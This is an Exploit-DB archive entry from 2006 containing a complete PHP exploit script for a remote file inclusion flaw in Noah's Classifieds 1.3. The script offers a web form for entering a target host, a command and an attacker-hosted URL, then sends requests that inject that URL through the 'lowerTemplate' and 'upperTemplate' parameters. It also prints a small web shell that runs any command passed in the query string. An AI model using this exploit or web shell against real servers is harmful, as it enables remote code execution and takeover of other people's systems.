Noahs Classifieds 1.3 - 'lowerTemplate' Remote Code Execution

EDB-ID:

1521

CVE:

N/A


Author:

trueend5

Type:

webapps


Platform:

PHP

Date:

2006-02-22


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<?php
#               Noah's classifieds 1.3 Remote Code Execution                  #
#                                by trueend5                                  #
#                  Computer Security Researchers Institute                    #
#                           [http://www.KAPDA.ir]                             #
#                        *** Functions From rgod ***                          #
#                       Condition:register_globals=On                         #
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Noah`s classifieds 1.3 Remote Code Execution</title>
</head>

<body bgcolor="#FFCCFF">

<p align="center"><font size="4" color="#0000FF">Noah`s classifieds 1.3 Remote
Code Execution</font></p>
<p class="Stile6" align="center"><font size="3" color="#FF0000">by trueend5</font></p>
<p align="center"><font size="4" color="#008000">Computer Security Researchers
Institute</font></p>
<font SIZE="3">
<p align="center"><a href="http://www.kapda.ir">KAPDA</a></p>
<p align="center"><img border="0" src="http://irannetjob.com/pics/ph-logo.png" width="120" height="121"></p>
</font>
<table width="90%">
  <tbody>
    <tr>
      <td width="43%" align="left">
        <form name="form1" action="'.$SERVER[PHP_SELF].'" method="post">
          <p><input name="host" size="20"> <span class="Stile5"><font color="#FF0000">*</font> hostname (ex:www.sitename.com)</span></p>
          <p><input name="path" size="20"> <span class="Stile5"><font color="#FF0000">*</font> path (ex: /classifieds/
          or just / )</span></p>
          <p><input name="CMD" size="20"> <span class="Stile5"><font color="#FF0000">*</font> specify a
          command</span></p>
          <p><input name="LOCATION" size="20"><span class="Stile5"><font color="#FF0000">*</font> remote
          location ( ex: http://www.somesite.com/sys.php)</span></p>
          <p><input name="port" size="20"><span class="Stile5">specify a port&nbsp;
          (default is 80)</span></p>
          <p><input name="proxy" size="20"><span class="Stile5">send exploit
          through an HTTP proxy (ip:port)</span></p>
          <p align="center"> <span class="Stile5"><font color="#FF0000">&nbsp;&nbsp;
          * </font>fields are required</span></p>
          <p align="center"><span class="Stile5">-----------------------------------------------------------------------------------------------</span></p>
          
          <p><input type="submit" value="Start" name="Submit"></p>
        </form>
      </td>
    </tr>
  </tbody>
</table>
</body></html>';
function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '<table border="0"><tr>';
  while ($ii <= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo "<td>&nbsp;&nbsp;</td>";
      for ($li=0; $li<=15; $li++) {
        echo "<td>".$headeri[$li+$ki]."</td>";
		}
      $ki=$ki+16;
      echo "</tr><tr>";
    }
    if (strlen($datai)==1) {
      echo "<td>0".$datai."</td>";
    }
    else {
      echo "<td>".$datai."</td> ";
    }
    $ii++;$ji++;
  }
  for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo "<td>&nbsp&nbsp</td>";
  }
  for ($li=$ci*16; $li<=strlen($headeri); $li++) {
    echo "<td>".$headeri[$li]."</td>";
  }
  echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() 
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
    echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid proxy';
    die;
    }
  echo "OK.<br>";
  echo "Attempting to connect to ".$host." on port ".$port."...<br>";
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result < 0) {
    echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
  }
  else {
    echo "OK.<br><br>";
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo "Reading response:<br>";
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo "Closing socket...";
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);echo nl2br(htmlentities($html));
}

$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$CMD=$_POST[CMD];
$LOCATION=$_POST[LOCATION];


if (($host<>'') and ($path<>'') and ($CMD<>'') and ($LOCATION<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);
  $CMD=urlencode($CMD);

  $packet="GET ".$p."index.php?com=".$CMD."&lowerTemplate=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: Shareaza v1.x.x.xx\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("kapda",$html)) {echo "Exploit succeeded"; die;}
                           else {echo "Trying Step 2...<br>";}

  $packet="GET ".$p."index.php?com=".$CMD."&upperTemplate=".$LOCATION." HTTP/1.1\r\n";
  $packet.="User-Agent: SnoopRob/x.x\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  if (eregi("kapda",$html)) {echo "Exploit succeeded"; }
                           else {echo "Exploit failed...";}
}
else
{echo "Note: on remote location which supports php, prepare this code in<br>
        http://remote_location/sys.php<br>";
 echo  nl2br(htmlentities("
<?php
        echo '<?php echo\"kapda\"; ini_set(\"max_execution_time\",0);
        \$com = \$_GET[\"com\"];
        system (\"\$com\"); ?>';
?>

        Or on remote location that Doesnt support php, prepare this code in
        http://remote_location/sys.php


<?php
 echo\"kapda\";
 ini_set(\"max_execution_time\",0);
 \$com = \$_GET[\"com\"];
 system (\"\$com\");
?>
        "));}

?>

# milw0rm.com [2006-02-22]